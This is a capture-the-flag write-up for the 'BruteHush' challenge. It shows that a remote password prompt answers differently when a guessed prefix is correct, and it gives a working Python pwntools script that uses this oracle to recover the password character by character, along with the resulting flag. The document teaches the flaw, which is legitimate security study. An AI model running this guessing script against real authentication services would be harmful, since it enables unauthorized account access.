BruteHush

Description

It’s just a password. Got any way besides brute-force? Didn’t think so. You’re cooked.

Challenge by Yehudit Yudeleivch

Sources were attached.

Solution

We are presented with a remote authentication service guarded by a “Gremlin.” Our mission is to find the right password.

Let’s connect and see how the Gremlin reacts to our guesses.

nc 0.cloud.chals.io 10188

Scenario A: Random Guess

Enter password: aaaa
[Gremlin]: Haha, you thought you could guess it?

Hard reject. The Gremlin is mocking us.

Scenario B: Lucky Guess While fuzzing, we tried sending H.

Enter password: H
[Gremlin]: Hmm... I feel like you're trying something.

Suspicious. The tone changed. It didn’t say “Haha”.

In a secure system, a wrong password should result in a generic “Invalid Password” response, regardless of whether you got the first letter right or not.

Here, the server behaves differently based on the prefix of our input:

This behavior is the hallmark of a lazy string comparison, likely using strncmp(user_input, password, input_len).

Instead of checking if the entire password matches, the server is only checking if the password matches up to the length of our input. This effectively converts an exponential brute-force problem into a linear one.

We don’t need to guess the whole password at once. We just need to guess one letter at a time.

The Game Plan:

  1. Start with an empty string.
  2. Loop through every printable character (A-Z, 0-9, symbols).
  3. Send current_password + candidate_char.
  4. Listen:
    • If the Gremlin laughs (“Haha”), the character is wrong.
    • If the Gremlin gets suspicious (“Hmm”), the character is right.
  5. Append the correct character and repeat until the flag drops.

Solution Script

Run this script using python3.

from pwn import *
import string
import re

# --- Challenge Configuration ---
HOST = '0.cloud.chals.io'
PORT = 10188
CHARSET = string.ascii_letters + string.digits + "{}_!@?" 

def solve():
    print(f"[*] Starting Oracle Attack on {HOST}:{PORT}")
    
    # Establish connection
    r = remote(HOST, PORT)
    r.recvuntil(b"Enter password: ")
    
    current_password = ""

    while True:
        found_this_round = False
        
        for char in CHARSET:
            # Construct the payload: known_part + guess
            guess = current_password + char
            r.sendline(guess.encode())
            
            # Read response (handle timeout for final flag)
            try:
                response = r.recvuntil(b"Enter password: ", timeout=0.5)
            except:
                response = r.recv()

            # 1. Check for Victory
            if b"BSidesTLV2025" in response:
                flag_match = re.search(rb"BSidesTLV2025\{.*?\}", response)
                if flag_match:
                    print(f"\n[+] FLAG CAPTURED: {flag_match.group().decode()}")
                return

            # 2. Oracle Logic
            # If the server DOESN'T mock us, we are on the right track.
            if b"Haha" not in response and b"lol" not in response:
                current_password += char
                found_this_round = True
                print(f"[+] Character identified: '{char}' | Current Buffer: {current_password}")
                break 

        if not found_this_round:
            print("[-] Exploit failed to identify the next character.")
            break

    r.close()

if __name__ == "__main__":
    solve()

Result

The script picks the lock one byte at a time:

[+] Character identified: 'H' | Current Buffer: H
[+] Character identified: 'n' | Current Buffer: Hn
[+] Character identified: '6' | Current Buffer: Hn6
...
[+] Character identified: 'n' | Current Buffer: Hn6f3vsnfklsjgn
[+] FLAG CAPTURED: BSidesTLV2025{1_t0ld_u_k1ds_kn0w_strncmp}